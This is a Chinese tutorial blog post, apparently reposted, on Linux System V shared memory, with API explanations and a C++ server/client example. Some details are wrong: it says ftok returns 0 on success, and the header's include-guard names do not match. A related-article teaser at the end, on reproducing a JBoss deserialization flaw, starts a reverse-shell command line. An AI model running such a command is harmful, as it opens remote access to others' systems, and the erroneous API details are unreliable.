[Linux]进程间通信--共享内存

news2025/1/11 9:49:06

[Linux]system V共享内存

文章目录

  • [Linux]system V共享内存
    • 共享内存通信的原理
    • 系统接口
      • 创建共享内存接口
      • 关联共享内存接口
      • 去关联共享内存接口
      • 删除共享内存接口
    • 使用指令操作共享内存
      • 查看共享内存
      • 删除共享内存
    • 共享内存的特性
    • 编码测试共享内存

共享内存是Linux系统下的一种进程间通信手段,其符合system V标准。System V标准下的通信手段接口在使用方法上是相似的,包括信号量、共享内存和消息队列这三种通信机制,

共享内存通信的原理

共享内存是操作系统在内存中申请的一块空间,进程将该内存映射到自身进程地址空间的共享区,然后通过这个映射往共享内存写入或读取数据,完成进程间的通信。

image-20230910185150016

完成通信后,进程要先解除映射关系,然后让操作系统释放共享内存。

系统接口

创建共享内存接口

Linux系统中提供了shmget接口用于创建共享内存:

//shmget所在的头文件和声明
#include <sys/ipc.h>
#include <sys/shm.h>

int shmget(key_t key, size_t size, int shmflg);
  • 成功返回共享内存的编号shmid,失败返回-1,错误码被设置。

key参数

共享内存是操作系统在内存中申请的一块内存空间,操作系统中可能会有大量的共享内存,操作系统为了管理这些共享内存就要用相应的结构进行描述,然后将描述的结构组织起来,共享内存中存在着一个字段用于唯一标识共享内存,这个字段使用的就是key参数传入的值。在进程使用共享内存通信前,一个进程创建共享内存并将key参数写入,然后另一个想要与其通信的进程就用同样的key参数和操作系统中的共享内存描述结构中的key参数进行比对,找到对应的共享内存,从而进行通信。

image-20230910193529432

为了让使用的key参数唯一,保证进程使用的共享内存不会出错,我们使用ftok系统接口:

//ftok所在的头文件和声明
#include <sys/types.h>
#include <sys/ipc.h>

key_t ftok(const char *pathname, int proj_id);
  • ftok会根据传入的参数使用算法返回一个重复率极低的数字。
  • 成功返回0,失败返回-1,错误码被设置。

size参数

size参数用于指明要创建的共享内存的大小,单位为字节。

操作系统创建共享内存是以page页为单位的,大小为4KB。

shmflg参数

shmflg参数用于指明shmget的使用模式。

  • IPC_CREAT:创建一个共享内存,如果共享内存不存在,就创建之,如果已经存在,获取已经存在的共享内存并返回。
  • IPC_EXCL不能单独使用,一般都要配合IPC_CREAT
  • IPC_CREAT | IPC_EXCL: 创建一个共享内存,如果共享内存不存在,就创建之, 如果已经存在,则立马出错返回 – 如果创建成功,对应的shm,一定是最新的!
  • 传入umask可以给要创建的共享内存设置权限。

关联共享内存接口

要想使用共享内存必须进行共享内存的关联,将共享内存映射到自己的进程地址空间。Linux系统中提供了shmat接口用于关联共享内存:

//shmat所在的头文件和声明
#include <sys/types.h>
#include <sys/shm.h>

void *shmat(int shmid, const void *shmaddr, int shmflg);
  • shmid参数 – 用于指明要关联的共享内存编号。
  • shmaddr参数 – 指明要关联到的地址处,传入空指针操作系统会自己进行关联。
  • shmflg参数 – 指明对要关联的共享内存的权限,传入0为读写权限。
  • 成功返回共享内存映射在进程地址空间中的地址,失败返回-1,错误码被设置。

去关联共享内存接口

在使用完共享内存进行通信后,要进行共享内存的去关联操作。Linux系统中提供了shmdt接口用于去关联共享内存:

//shmdt所在的头文件和声明
#include <sys/types.h>
#include <sys/shm.h>

int shmdt(const void *shmaddr);
  • shmaddr参数 – 要去关联的共享内存的地址,即调用shmat关联共享内存时返回的地址。
  • 成功返回0,失败返回-1,错误码被设置。

删除共享内存接口

Linux系统中提供了shmctl接口用于控制共享内存:

//shmctl所在的头文件和声明
#include <sys/ipc.h>
#include <sys/shm.h>

int shmctl(int shmid, int cmd, struct shmid_ds *buf);
  • shmid参数 – 用于指明要控制的共享内存编号。
  • cmd参数 – 用于指定控制选项,其中IPC_RMID选项就是删除共享内存。
  • buf参数 – 输出型参数,用于接收描述共享内存的结构体信息。

使用指令操作共享内存

查看共享内存

在Linux系统中使用ipcs -m可以查看系统中的共享内存:

image-20230910203751843

  • key:进程调用shmget创建共享内存时传入的key参数
  • shmid:共享内存编号。
  • owner:共享内存的拥有者。
  • perms:拥有者对共享内存的权限。
  • bytes:共享内存的大小。

删除共享内存

在Linux系统中使用ipcrm -m 对应shmid可以删除对应的共享内存:

image-20230910204051386

共享内存的特性

  • 无需多余拷贝:使用共享内存通信不需要使用任何接口,只要共享内存被映射到进程的地址空间中,进程就能看到共享内存。
  • 速度快 :共享内存被映射到进程的地址空间中,进程就能看到共享内存,不涉及缓冲区,无需多余拷贝动作,因此共享内存通信速度很快。
  • 无保护:使用共享内存通信不需要使用任何接口,因此共享内存不存在任何保护机制。

编码测试共享内存

在编码测试共享内存前,创建三个文件:common.hppserver.ccclient.cc

common.hpp用于实现使用共享内存的类和接口,具体内容如下:

#ifndef __COMN_HPP__
#define __COMM_HPP__

#include <iostream>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <cstdio>
#include <cerrno>
#include <cstring>
#include <cassert>
#include <unistd.h>

using namespace std;

#define PATHNAME "."
#define PROJID 0x6666

#define gsize 4096

//key_t类型实际也是int类型
key_t GetKey()//获取key值
{
    key_t k = ftok(PATHNAME, PROJID);
    if(k == -1)//错误检测
    {
        cerr << "errno: " << errno << " strerror: " << strerror(errno) << endl;
        exit(1);
    }
    return k;
}

//只在本文件生效
static int createShmHelper(key_t key, size_t size, int shmflg)
{
    int shmid = shmget(key, size, shmflg);
    if(shmid == -1)//错误检测
    {
        cerr << "errno: " << errno << " strerror: " << strerror(errno) << endl;
        exit(2);
    }
    return shmid;
}

int createShm(key_t k, int size)
{
    umask(0);
    return createShmHelper(k, size, IPC_CREAT | IPC_EXCL | 0666);
}

int getShm(key_t k, int size)
{
    return createShmHelper(k, size, IPC_CREAT);
}

void* attachShm(int shmid)
{
    void* start = shmat(shmid, NULL, 0);
    return start;
}

void detachShm(void* start)
{
    int n = shmdt(start);
    assert(n != -1);
    (void)n;
}

void delShm(int shmid)
{
    int n = shmctl(shmid, IPC_RMID, nullptr);
    assert(n != -1);
    (void)n;
}

#define SERVER 1
#define CLIENT 0    

class  Shm
{
public:
    Shm(int type):_type(type)
    {
        key_t key = GetKey();
        if (_type == SERVER) _shmid = createShm(key, gsize);
        else _shmid = getShm(key, gsize);
        _start = attachShm(_shmid);
    }
    void* getStart()
    {
        return _start;
    }
    ~Shm()
    {
        detachShm(_start);
        if (_type == SERVER) delShm(_shmid);
    }
private:
    void* _start;
    int _shmid;
    int _type;
};

#endif

server.cc用于创建共享内存,读取共享内存中的数据,完成共享内存的释放,具体内容如下:

#include "common.hpp"

int main()
{
    Shm shm(SERVER);
    char* start = (char*)shm.getStart();

    int n = 0;
    while(n < 30)
    {
        cout << "client send me : " << start << endl;
        n++;
        sleep(1);
    }
    return 0;
}

client.cc用于向共享内存写入数据,具体内容如下:

#include "common.hpp"

int main()
{
    Shm shm(CLIENT);
    char* start = (char*)shm.getStart();

    char ch = 'a';
    while(ch <= 'z')
    {
        start[ch - 'a'] = ch;
        ch++;
        start[ch - 'a'] = 0;
        sleep(1);
    }
    return 0;
}

编译代码运行并查看结果:

共享内存

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/999366.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

spring boot项目运行及打包

目录 一、项目示例 二、项目运行 三、项目打包 3.1 配置打包项 3.2 运用maven工具打包 3.3 运行打包好的jar文件 一、项目示例 创建项目逻辑实现文件&#xff08;控制URL路径访问及内容逻辑实现&#xff09; 如上图点击创建新的java class文件&#xff0c;编辑文件内容&…

开发工程师VS测试工程师VS测试开发工程师

每年正式上班之后就会非常忙&#xff0c;今年也不例外。我们公司现在也忙了起来&#xff0c;都没有时间写我的自动化测试教程了。不过大家放心&#xff0c;我会继续写下去的&#xff0c;不过可能更新的不那么快了。最近被同事问到了一个问题&#xff0c;开发&#xff0c;测试和…

nvidia-smi指令报错:Failed to initialize NVML: Driver 解决

文章目录 如何解决题外话&#xff0c;ubuntu22如何安装NVIDIA驱动 我的系统是ubuntu22。 如何解决 我是之前有能用的驱动&#xff0c;但突然服务器nvidia-smi命令不能用了。 看网上说重启就好了&#xff0c;我重启后还是没用&#xff0c;我建议是重启后运行下面2个指令。 运…

python开发之个人微信机器人的开发

简要描述&#xff1a; 发送链接 请求URL&#xff1a; http://域名地址/sendUrl 请求方式&#xff1a; POST 请求头Headers&#xff1a; Content-Type&#xff1a;application/jsonAuthorization&#xff1a;login接口返回 参数&#xff1a; 参数名必选类型说明wId是st…

运维学习之采集器Node-Exporter 1.3.1安装并使用

参考《监控系统部署prometheus基本功能》先完成prometheus部署。 wget https://github.com/prometheus/node_exporter/releases/download/v1.3.1/node_exporter-1.3.1.linux-amd64.tar.gz下载压缩包。 tar -zxf node_exporter-1.3.1.linux-amd64.tar.gz进行解压。 cp node_e…

【图神经网络 02】图卷积

1 图卷积概念 图卷积获取特征需要&#xff1a;各节点输入特征、网络结构图。 图卷积是半监督任务&#xff0c;不需要全部标签&#xff0c;少量标签也能训练&#xff0c;计算损失时只考虑有标签。 2 图卷积计算方式 针对橙色节点&#xff0c;计算特征&#xff1a;平均其邻居特…

测试----计算机网络

文章目录 计算机网络的历史OSI/RM 协议TCP/IP协议IP地址 计算机网络的历史 50-60年代 内部通讯功能&#xff08;连接的是同一台主机&#xff0c;只能主机和终端之间通信&#xff0c;终端和终端之间的通讯只能依靠主机来传输&#xff09;60-70年代 主机和主机之间能通讯70年代-…

MDO4104B-6泰克Tektronix混合域示波器

181/2461/8938泰克MDO4104B-6混合域示波器&#xff0c;1 GHz&#xff0c;4通道。&#xff0c;5 GS/s&#xff0c;6 GHz射频通道。 介绍世界上第一台示波器&#xff0c;它包括一个逻辑分析仪、频谱分析仪和协议分析仪-所有同步的集成视图。虽然您可以将Tektronix MDO4000B系列简…

李沐《动手学深度学习》torch.cat() 和 torch.stack()的区别及思考

一、问题引出 好久没更新啦&#xff01;最近在学习沐神《动手学深度学习》6.5节池化层的时候&#xff0c;发现沐神在两处相似的地方使用了两种Python拼接函数torch.cat()和torch.stack()&#xff1a; 百思不得其解&#xff0c;于是查阅相关文档之后终于弄清楚了两者之间的区别…

安全文件传输如何进行管控,从而促进业务的有序发展?

随着信息化技术的不断发展&#xff0c;安全文件传输对于企业来说变得越来越重要&#xff0c;企业数据安全在近几年频繁发生&#xff0c;有不少企业都因数据泄漏而造成不同程度的损失&#xff0c;很多企业花费人力和财力采取各种措施&#xff0c;来确保自身数据安全和文件安全。…

stm32--独立看门狗

最近学习到独立看门狗&#xff0c;总结下笔记 1.看门狗的作用&#xff1a;防止程序异常跑飞&#xff0c;跑飞时&#xff0c;进行系统复位&#xff0c;从而不会导致代码瘫痪&#xff0c;奔溃卡死在某段程序。 2.看门狗其实是12bit递减计数器&#xff0c;&#xff0c;减到0会产…

华为星闪联盟:引领无线通信技术创新的先锋

星闪&#xff08;NearLink&#xff09;&#xff0c;是由华为倡导并发起的新一代无线短距通信技术&#xff0c;它从零到一全新设计&#xff0c;是为了满足万物互联时代个性化、多样化的极致、创新体验需求而诞生的。这项技术汇聚了中国300多家头部企业和机构的集体智慧&#xff…

睿趣科技:抖音开店前期需要准备什么

抖音作为全球最受欢迎的短视频平台之一&#xff0c;已经成为了许多年轻人的创业和赚钱的机会。如果你计划在抖音上开店&#xff0c;那么在正式开业之前&#xff0c;有一些重要的准备工作是必不可少的。下面就是抖音开店前期需要准备的关键步骤和注意事项。 确定你的目标和产品&…

『PyQt5-Qt Designer篇』| 09 Qt Designer中分割线和间隔如何使用?

09 Qt Designer中分割线和间隔如何使用? 1 间隔1.1 水平间隔1.2 垂直间隔2 分割线2.1 水平线2.2 垂直线3 保存并执行1 间隔 间隔有水平间隔和垂直间隔: 1.1 水平间隔 拖动4个按钮,并设置为水平布局: 在第一个按钮的右边添加一个水平间隔: 设置其sizeType为Fixed,宽度为20…

JDK、CGLib、Javassist实现动态代理

一、类加载 1.类加载过程模拟&#xff08;先明白类加载过程&#xff0c;方可模拟类运行期间加载-创建代理类&#xff0c;调用目标方法&#xff09; public class Programmer {public void code() {System.out.println("Im a Programmer,Just Coding.....");} }/***…

第二证券:BC电池概念再度活跃,永和智控涨停,广信材料等拉升

BC电池概念11日盘中再度活跃&#xff0c;截至发稿&#xff0c;广信材料涨超17%&#xff0c;永和智控涨停&#xff0c;帝尔激光涨超6%&#xff0c;英诺激光、爱旭股份涨超3%。 职业方面&#xff0c;近日&#xff0c;隆基绿能举办半年报成绩说明会&#xff0c;会上董事长钟宝申在…

软件架构设计(十三) 构件与中间件技术

中间件的定义 其实中间件是属于构件的一种。是一种独立的系统软件或服务程序,可以帮助分布式应用软件在不同技术之间共享资源。 我们把它定性为一类系统软件,比如我们常说的消息中间件,数据库中间件等等都是中间件的一种体现。一般情况都是给应用系统提供服务,而不是直接…

vue2通过.env进行多环境配置

这边 我们先创建一个本地文件夹 作为项目的存放目录 然后我们执行 vue create 项目名 创建一个vue项目 例如 我这里这样 vue create multiple_environ创建一个叫 multiple_environ 的vue项目 这里 我们选择vue2的版本 然后 在 然后 大家可以配置多个环境 但都需要用因为命…

JBoss 4.x JBossMQ JMS 反序列化漏洞复现(CVE-2017-7504)

一、影响版本 Jboss AS 4.x及之前版本 二、搭建环境 三、漏洞验证 访问/jbossmq-httpil/HTTPServerILServlet&#xff0c;出现以下页面代表存在漏洞 四、漏洞复现 1.nc开启监听 2.生成序列化数据 使用工具ysoserial.jar生成序列化数据 bash -i >& /dev/tcp/192.16…

安全生产:CVE-2020-11022/CVE-2020-11023漏洞解析

文章目录 一、前言二、漏洞原理三、修复方案3.1 升级jQuery3.2 1.x 升级至 3.x 需要考虑的问题3.2.1 table表格元素自动添加tbody3.2.2 方法变更 3.3 jquery migrate是什么 四、拓展阅读 一、前言 代码安全扫描阶段&#xff0c;前端资源审计发现jQuery版本过低导致生产系统存在…